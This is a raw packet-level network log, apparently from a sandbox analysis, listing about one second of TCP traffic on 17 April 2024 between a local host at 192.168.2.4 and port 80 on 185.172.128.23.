Apr 17, 2024 06:57:15.507344007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507359028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507375002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507397890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507519960 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507699013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507724047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507740021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507755041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507755995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507786989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507786989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507812977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508054018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508070946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508085966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508107901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508109093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508142948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508142948 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508304119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508321047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508358955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508374929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508389950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508388996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508444071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508444071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508616924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508634090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508680105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508681059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508681059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.508697033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.508833885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.509099007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509115934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509131908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509146929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509340048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.509449005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509474993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509491920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509505033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.509510040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.509537935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.509586096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.563425064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563442945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563458920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563472033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563613892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.563613892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.563615084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.563615084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.563692093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563750982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563766003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563780069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.563782930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.563950062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564124107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564141035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564156055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564169884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564196110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564196110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564196110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564281940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564336061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564409971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564425945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564429998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564440012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564470053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564604044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564752102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564768076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564784050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564798117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.564852953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.564852953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.565107107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565133095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565150976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565165997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565200090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.565200090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.565236092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.565648079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565681934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565697908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565712929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565737963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565747023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.565764904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.565766096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565782070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565798044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.565798044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566113949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566143036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566153049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566168070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566181898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566209078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566270113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566549063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566565990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566581011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566596031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566627979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566627979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566757917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566790104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566809893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566833019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.566842079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.566850901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567292929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567316055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567331076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567334890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567344904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567377090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567378044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567451000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567567110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567583084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567598104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567614079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567670107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567670107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567910910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567928076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567943096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567958117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.567980051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.567980051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568181038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568216085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568239927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568255901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568269014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568274021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568326950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568326950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568497896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568557978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568573952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568588018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568588972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568948984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568977118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.568981886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.568998098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.569011927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.569044113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.569082022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.569308996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.569325924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.569340944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.569355965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.569376945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.569377899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.569464922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.621423006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621460915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621495008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621526003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621613026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.621613026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.621613026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.621800900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621835947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621866941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621881962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.621903896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622077942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622096062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622132063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622148037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622163057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622165918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622188091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622188091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622247934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622453928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622504950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622522116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622534990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622564077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622592926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.622919083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622941971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622956991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.622971058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623028994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623028994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623203993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623246908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623280048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623295069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623312950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623393059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623538971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623564005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623579979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623594046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623605967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623636007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623788118 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.623897076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623964071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623980045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623995066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.623995066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624042988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624042988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624232054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624248981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624265909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624279976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624284029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624306917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624308109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624906063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624943018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624960899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.624967098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.624991894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625000954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625009060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625020981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625025034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625040054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625041962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625056982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625087976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625308037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625332117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625354052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625364065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625370026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625389099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625458956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625627041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625643015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625688076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625689983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625689983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625703096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.625824928 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.625950098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626029968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626046896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626060009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626064062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.626100063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.626101017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.626307964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626324892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626369953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626384020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626430988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.626473904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.626745939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626785994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626802921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626817942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.626878977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.626878977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627096891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627121925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627140045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627154112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627171993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627171993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627402067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627465963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627496004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627511978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627526045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627552986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627582073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627582073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627717018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627764940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627782106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.627794981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.627794981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.628838062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.679302931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679341078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679374933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679405928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679404020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.679404974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.679538965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.679658890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679693937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679728031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679758072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.679943085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680077076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680157900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680177927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680179119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680193901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680212021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680212021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680285931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680378914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680396080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680425882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680443048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680459023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.680474043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.680583000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.785665989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.988871098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105516911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105555058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105590105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105622053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105638981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.105674982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105700970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.105721951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:16.105783939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105819941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105850935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:16.105885983 CEST	49730	80	192.168.2.4	185.172.128.23
